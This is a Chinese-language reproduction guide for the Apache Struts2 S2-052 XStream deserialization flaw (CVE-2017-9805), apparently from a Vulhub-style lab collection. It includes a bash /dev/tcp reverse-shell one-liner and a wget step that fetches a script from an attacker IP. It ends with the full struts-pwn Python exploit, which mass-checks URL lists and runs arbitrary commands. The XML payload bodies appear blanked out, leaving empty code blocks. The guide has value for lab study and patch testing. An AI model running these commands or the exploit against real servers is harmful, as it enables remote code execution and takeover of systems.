# Struts2 S2-052 远程代码执行漏洞 CVE-2017-9805
## 漏洞描述
Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:
| 扩展名 | Content-Type | 解析方法 |
| ------ | --------------------------------- | ---------------------- |
| xml | application/xml | xstream |
| json | application/json | jsonlib或jackson(可选) |
| xhtml | application/xhtml+xml | 无 |
| 无 | application/x-www-form-urlencoded | 无 |
| 无 | multipart/form-data | 无 |
jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:
```
//或者
```
所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。
漏洞详情:
- http://struts.apache.org/docs/s2-052.html
- https://yq.aliyun.com/articles/197926
## 漏洞影响
影响版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
## 环境搭建
Vulhub执行以下命令启动s2-052测试环境:
```
docker-compose build
docker-compose up -d
```
启动环境后,访问`http://your-ip:8080/orders.xhtml`即可看到showcase页面。
## 漏洞复现
由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。
所以,最后发送的数据包为:
```
POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415
```
以上数据包成功执行的话,会在docker容器内创建文件`/tmp/awesome_poc`,执行`docker-compose exec struts2 ls /tmp/`即可看到。

### 反弹shell
编写shell脚本并启动http服务器:
```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下:python -m http.server 80
```
上传shell.sh文件的命令为:
```
wget 192.168.174.128/shell.sh
```
上传shell.sh文件的Payload为:
```
wget
192.168.174.128/shell.sh
false
```
执行shell.sh文件的命令为:
```
bash shell.sh
```
执行shell.sh文件的Payload为:
```
bash
shell.sh
false
```
成功接收反弹shell:

## 漏洞EXP
```python
#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# struts-pwn: Apache Struts CVE-2017-9805 Exploit
# Author:
# Mazin Ahmed
# This code is based on:
# https://github.com/rapid7/metasploit-framework/pull/8924
# https://techblog.mediaservice.net/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/
# *****************************************************
from __future__ import print_function
from builtins import str
import argparse
import requests
import sys
# Disable SSL warnings
try:
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
except Exception:
pass
if len(sys.argv) <= 1:
print('[*] CVE: 2017-9805 - Apache Struts2 S2-052')
print('[*] Struts-PWN - @mazen160')
print('\n%s -h for help.' % (sys.argv[0]))
exit(0)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
dest="url",
help="Check a single URL.",
action='store')
parser.add_argument("-l", "--list",
dest="usedlist",
help="Check a list of URLs.",
action='store')
parser.add_argument("-c", "--cmd",
dest="cmd",
help="Command to execute. (Default: 'echo test > /tmp/struts-pwn')",
action='store',
default='echo test > /tmp/struts-pwn')
parser.add_argument("--exploit",
dest="do_exploit",
help="Exploit.",
action='store_true')
args = parser.parse_args()
url = args.url if args.url else None
usedlist = args.usedlist if args.usedlist else None
url = args.url if args.url else None
cmd = args.cmd if args.cmd else None
do_exploit = args.do_exploit if args.do_exploit else None
def url_prepare(url):
url = url.replace('#', '%23')
url = url.replace(' ', '%20')
if ('://' not in url):
url = str('http') + str('://') + str(url)
return(url)
def exploit(url, cmd, dont_print_status_on_console=False):
url = url_prepare(url)
if dont_print_status_on_console is False:
print('\n[*] URL: %s' % (url))
print('[*] CMD: %s' % (cmd))
cmd = "".join(["{0}".format(_) for _ in cmd.split(" ")])
payload = """
""".format(cmd)
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Referer': str(url),
'Content-Type': 'application/xml',
'Accept': '*/*'
}
timeout = 3
try:
output = requests.post(url, data=payload, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text
except Exception as e:
print("EXCEPTION::::--> " + str(e))
output = 'ERROR'
return(output)
def check(url):
url = url_prepare(url)
print('\n[*] URL: %s' % (url))
initial_request = exploit(url, "", dont_print_status_on_console=True)
if initial_request == "ERROR":
result = False
print("The host does not respond as expected.")
return(result)
payload_sleep_based_10seconds = """
"""
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Referer': str(url),
'Content-Type': 'application/xml',
'Accept': '*/*'
}
timeout = 8
try:
requests.post(url, data=payload_sleep_based_10seconds, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
# if the response returned before the request timeout.
# then, the host should not be vulnerable.
# The request should return > 10 seconds, while the timeout is 8.
result = False
except Exception:
result = True
return(result)
def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
if url:
if not do_exploit:
result = check(url)
output = '[*] Status: '
if result is True:
output += 'Vulnerable!'
else:
output += 'Not Affected.'
print(output)
else:
exploit(url, cmd)
print("[$] Request sent.")
print("[.] If the host is vulnerable, the command will be executed in the background.")
if usedlist:
URLs_List = []
try:
f_file = open(str(usedlist), 'r')
URLs_List = f_file.read().replace('\r', '').split('\n')
try:
URLs_List.remove('')
except ValueError:
pass
f_file.close()
except Exception as e:
print('Error: There was an error in reading list file.')
print("Exception: " + str(e))
exit(1)
for url in URLs_List:
if not do_exploit:
result = check(url)
output = '[*] Status: '
if result is True:
output += 'Vulnerable!'
else:
output += 'Not Affected.'
print(output)
else:
exploit(url, cmd)
print("[$] Request sent.")
print("[.] If the host is vulnerable, the command will be executed in the background.")
print('[%] Done.')
if __name__ == '__main__':
try:
main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
except KeyboardInterrupt:
print('\nKeyboardInterrupt Detected.')
print('Exiting...')
exit(0)
```